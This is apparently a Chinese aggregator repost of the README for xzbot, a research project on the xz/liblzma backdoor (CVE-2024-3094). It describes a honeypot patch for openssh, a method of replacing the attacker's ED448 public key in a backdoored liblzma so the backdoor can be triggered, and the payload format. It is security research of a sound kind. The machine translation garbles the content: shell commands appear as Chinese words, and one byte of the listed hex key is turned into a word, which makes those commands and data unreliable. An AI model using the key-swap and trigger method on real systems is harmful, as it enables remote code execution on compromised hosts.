开源推荐
morning
GitHub 热门项目:xzbot
摘要
GitHub项目:xzbot 仓库地址:https://github。
the
patch
backdoor
xzbot
key
2026-05-25
1 阅读
GitHub Trending
GitHub 项目:xzbot
仓库地址:https://github.com/amlweems/xzbot
星级:3557 | 作者:amlweems
项目描述:xz 后门的注释、蜜罐和漏洞利用演示 (CVE-2024-3094)
===================================================
自述文件内容:
# xzbot
xz [后门](https://www.openwall.com/lists/oss-security/2024/03/29/4) (CVE-2024-3094) 的探索。
包括以下内容:
* [honeypot](#honeypot):伪造的易受攻击的服务器来检测漏洞尝试
* [ed448 patch](#ed448-patch): 修补 liblzma.so 以使用我们自己的 ED448 公钥
* [backdoor format](#backdoor-format): 后门payload的格式
* [后门演示](#backdoor-demo):假设了解 ED448 私钥,触发 RCE 的 cli

## 蜜罐
请参阅 [openssh.patch](openssh.patch) 了解 openssh 的简单补丁,该补丁记录了任何
尝试使用与后门格式匹配的公钥 N 进行连接。
````
$ git 克隆 https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ 自动重新配置
$ ./配置
$ 制作
````
任何连接尝试都会在 sshd 日志中显示如下:
````
$ Journalctl -u ssh-xzbot --since='1 天前' | grep xzbot:
3 月 30 日 00:00:00 蜜罐 sshd-xzbot[1234]: xzbot: magic 1 [preauth]
3 月 30 日 00:00:00 蜜罐 sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...
````
# ed448 补丁
后门使用硬编码的 ED448 公钥进行签名验证和
解密有效负载。如果我们用我们自己的密钥替换这个密钥,我们可以触发
后门。
攻击者的ED448密钥是:
````
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 交流 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
````
我们将用我们自己的密钥替换这个密钥(用seed=0生成):
````
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
````
首先,下载一个有后门的 libxzma 共享对象,例如
来自 https://snapshot.debian.org/package/xz-utils/5.6.1-1。
然后运行补丁脚本。有关示例,请参阅 [assets/](assets/)。
````
$ pip 安装 pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
在偏移处修补函数:0x24470
生成修补后的so:liblzma.so.5.6.1.patch
````
然后使用修改后的“liblzma.so.5.6.1.patch”共享对象运行 sshd。
## 后门格式
可以通过使用带有 SSH 证书的连接来触发后门
CA 签名密钥 N 值中的有效负载。该有效负载必须加密并且
使用攻击者的 ED448 密钥进行签名。
该结构具有以下格式:
````
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 一个(32 位)| b(32 位)| c (64 位) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ 密文(240 字节)+
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
````
请求类型源自 t